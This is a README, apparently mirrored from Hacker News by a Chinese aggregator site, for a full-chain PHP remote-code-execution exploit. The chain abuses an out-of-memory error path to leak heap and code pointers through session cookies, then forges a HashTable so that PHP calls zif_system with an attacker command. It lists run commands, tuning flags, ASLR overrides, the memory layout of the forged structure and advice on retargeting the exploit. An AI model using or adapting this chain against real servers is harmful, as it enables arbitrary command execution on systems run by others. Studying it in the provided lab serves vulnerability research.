
I've created a full-chain exploit for PHP2Shell
Remote code execution via PHP's memory-limit error path: leak heap and code pointers through session cookies, then forge a callback to zif_system.
以下正文同步自 Hacker News 最新,版权归原站所有,已转换为易读排版。
Remote code execution via PHP's memory-limit error path: leak heap and code pointers through session cookies, then forge a callback to zif_system.
A single standard-library Python script that chains four HTTP requests into arbitrary command execution against a PHP server. No dependencies beyond Python 3.11+ and Docker.
stage what goes out what comes back
0 health GET /index.php -> HTTP 200 reachable 1 heap leak ~249 KiB producer + 8 consumers -> 256 B cookie (OOM poisons a worker) -> Zend chunk base 2 code leak ~251 KiB producer + 8 consumers -> 16 B cookie (OOM poisons a worker) -> zval_ptr_dtor 3 callback ~369 KiB POST -> forged HashTable runs (fake HashTable + command) -> zif_system(cmd)
20 HTTP requests at most. No looping, no retries.
Contents
Repository layout
Quick start
The lab
poc.py reference
Required arguments
Image and platform
Heap layout
ASLR ranges
Producer geometry
Leak tuning
Cache and recalculation
Usage examples
How the exploit works
-
Memory exhaustion
-
Heap address leak
-
Code address leak
-
Forged callback
Reading the output
Reliability
Adapting to a different target
Repository layout
. ├── poc.py # Self-contained exploit + offset calculator ├── compose.yml # Docker Compose lab (PHP + nginx) ├── start.sh # One-liner: bring up lab, run exploit ├── cache/ # Cached calculator results (auto-populated) ├── tmp/ # Default output directory for run artifacts ├── lab/ │ ├── nginx.conf # Reverse proxy config (strips server headers) │ ├── public/ │ │ └── index.php # Health-check endpoint │ └── test-bin # Dummy binary executed by the callback └── README.md
File Purpose
poc.py Everything in one file: ELF binary analysis, offset calculation, Docker image extraction, and the four-stage exploit. No external imports.
compose.yml Spins up an Alpine PHP CLI server behind nginx on 127.0.0.1:18166.
start.sh Convenience script: tears down any existing lab, starts fresh, runs the exploit.
cache/ Stores calculated offsets as human-readable JSON so repeat runs skip the Docker pull/extract/scan cycle.
tmp/ Default location for run output directories (tmp/poc-run-<timestamp>).
lab/nginx.conf Proxies port 80 to the PHP built-in server on port 8000. Strips X-Powered-By and server version headers.
lab/public/index.php Minimal PHP endpoint. The exploit's health check targets this (any HTTP 200 response is sufficient).
lab/test-bin Shell script stand-in for whatever binary the callback should execute.
Quick start
1. Start the lab
docker compose up -d
2. Verify it's running
curl -s http://127.0.0.1:18166/index.php
3. Run the exploit
python3 poc.py
--url http://127.0.0.1:18166/index.php
--image php:8.5.11-fpm-alpine3.23
--php-path /usr/local/bin/php
4. Tear down
docker compose down
Or use the one-liner:
[calc] cache hit for php:8.5.11-fpm-alpine3.23 [calc] DTOR_LOW21 = 0x112930 [calc] ZIF_SYSTEM_FROM_DTOR = -0x204BC0 [calc] PHP_VERSION = PHP/8.5.11 [health] target reachable [heap] strict Zend base 0x7a1233c00000 [code] strict zval_ptr_dtor 0x60bc04512930 {"stage": "final", "nonce": "...", "execution_proof_verified": true, ...}
--- Response Body --- ... HELLO WORLD
Exit status is 0 on a verified run, 1 otherwise.
The lab reproduces the exact conditions the exploit needs: Alpine PHP running the built-in CLI server with four workers, behind nginx.
compose.yml (simplified)
services: php-svc: image: php:8.5.11-fpm-alpine3.23 command: php -S 0.0.0.0:8000 -t /app environment:
- PHP_CLI_SERVER_WORKERS=4 mem_limit: 1g
nginx-svc: image: nginx:1.27-alpine ports:
- "127.0.0.1:18166:80"
The image tag says fpm but the container runs php -S (CLI SAPI). This matters for offset calculation -- the php binary at /usr/local/bin/php has different symbol addresses than php-fpm at /usr/local/sbin/php-fpm. Use --php-path /usr/local/bin/php to analyze the correct binary.
The nginx layer strips X-Powered-By and server version headers. The exploit does not rely on these headers -- the health check only requires HTTP 200.
poc.py is fully self-contained. It does three things in sequence:
The health check verifies the target returns HTTP 200. It does not inspect response headers or body content.
Flag Description
--url URL Target endpoint (any HTTP/HTTPS URL)
--image IMAGE Docker image to extract offsets from (e.g. php:8.5.11-fpm-alpine3.23)
Image and platform
Flag Default Description
--platform linux/amd64 Docker platform. Use linux/arm64 when the target runs ARM. Important on Apple Silicon where Docker defaults to linux/arm64.
--php-path auto-detect Path to the PHP binary inside the image. Auto-detection prefers php-fpm; pass /usr/local/bin/php when the target runs php -S.
Heap layout
These depend on worker count, memory_limit, and allocation pattern. Measure with a debugger.
Plausible virtual-address windows. Linux x86-64 defaults; ARM64 or other kernels differ.
Controls the nested-name shapes that amplify wire bytes into in-memory allocations. Must overshoot memory_limit while staying under the 1 MiB body cap.
Flag Default Description
--consumers 8 Pipelined consumers per leak stage
--cookie-pairs 1001 Empty cookie names on each producer
Cache and recalculation
Offset calculation involves Docker pull, binary extraction, and ELF scanning. Results are cached in cache/ as human-readable JSON files:
cache/php_8.5.11-fpm-alpine3.23__linux_amd64__php.json
The cache key is derived from --image, --platform, and --php-path. Different combinations produce different cache files.
python3 poc.py
--url http://127.0.0.1:18166/index.php
--image php:8.5.11-fpm-alpine3.23
--php-path /usr/local/bin/php
Specify output directory:
python3 poc.py
--url http://127.0.0.1:18166/index.php
--image php:8.5.11-fpm-alpine3.23
--php-path /usr/local/bin/php
--output-dir my-run
Running from ARM Mac against x86-64 target (the --platform flag ensures the correct binary is analyzed):
python3 poc.py
--url http://127.0.0.1:18166/index.php
--image php:8.5.11-fpm-alpine3.23
--platform linux/amd64
--php-path /usr/local/bin/php
Override heap layout for a different worker/memory setup:
python3 poc.py
--url http://127.0.0.1:18166/index.php
--image php:8.5.11-fpm-alpine3.23
--php-path /usr/local/bin/php
--heap-carrier-delta 0x8400000
--heap-carrier-offset 0x16D1D8
Override ASLR ranges for ARM64 target:
python3 poc.py
--url http://127.0.0.1:18166/index.php
--image php:8.5.11-fpm-alpine3.23
--platform linux/arm64
--php-path /usr/local/bin/php
--heap-min 0x0000400000000000 --heap-max 0x0000800000000000
--code-min 0x0000400000000000 --code-max 0x0000800000000000
Force recalculation (ignore cache):
python3 poc.py
--url http://127.0.0.1:18166/index.php
--image php:8.5.11-fpm-alpine3.23
--php-path /usr/local/bin/php
--recalculate
How the exploit works
- Memory exhaustion
A multipart/form-data POST carries PHPSESSID and PHP_SESSION_UPLOAD_PROGRESS fields. Hundreds of empty file controls use names like f[0][x][x]... with dozens of nested [x] segments. The body stays around 250 KiB on the wire but parsing it creates deeply nested PHP arrays that overshoot the memory limit. The OOM leaves stale session state behind in a worker that gets reused.
Eight pipelined consumers race for the poisoned worker. One uses a crafted value that overwrites a string length field, causing PHP to serialize 256 bytes of neighbouring heap data into the PHPSESSID cookie. The script requires at least four pointer-looking values in the cookie to agree on the same aligned 2 MiB Zend heap region.
A second producer/consumer batch triggers the same OOM with a different array shape. The target cookie is exactly 16 bytes: an eight-byte value of 16, then a pointer whose low 21 bits match the known zval_ptr_dtor fingerprint for this binary. ASLR does not move the low 21 bits, so they serve as a build fingerprint.
The relative offset from zval_ptr_dtor to zif_system is fixed at link time:
zif_system = zval_ptr_dtor + ZIF_SYSTEM_FROM_DTOR
- Forged callback
The final POST places a 384-byte forged HashTable in a controlled multipart field. The structure overlaps a fake call frame and a zend_string holding the command:
0x00 +----------------------------+ | zend_array header | pDestructor -> zif_system 0x20 +----------------------------+ | bucket / fake call frame | arg1 -> zend_string below 0x80 +----------------------------+ | zend_string header | 0x98 +----------------------------+ | command (231 B max) | 0x180 +----------------------------+
A primer value supplies the pointer, then a long field name drives another OOM. In the cleanup path, PHP reads the forged table's pDestructor as zif_system and calls it with the string argument.
Each run creates a directory (default: tmp/poc-run-<UTC timestamp>) with:
execution_proof_verified: true means the response contained the fresh nonce, an id result, and a SHA-256 line for the target binary.
Both leak stages race against other workers, so a single run does not always succeed. Typical results against the four-worker lab with no other traffic:
Failed runs are not retried automatically. Run it again.
The exploit has two categories of constants:
Binary-dependent (calculated automatically by poc.py):
These change with every different PHP build, distro, or compiler flag set. The built-in calculator handles this: give it --image and optionally --platform / --php-path.
Runtime-dependent (must be measured manually):
正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。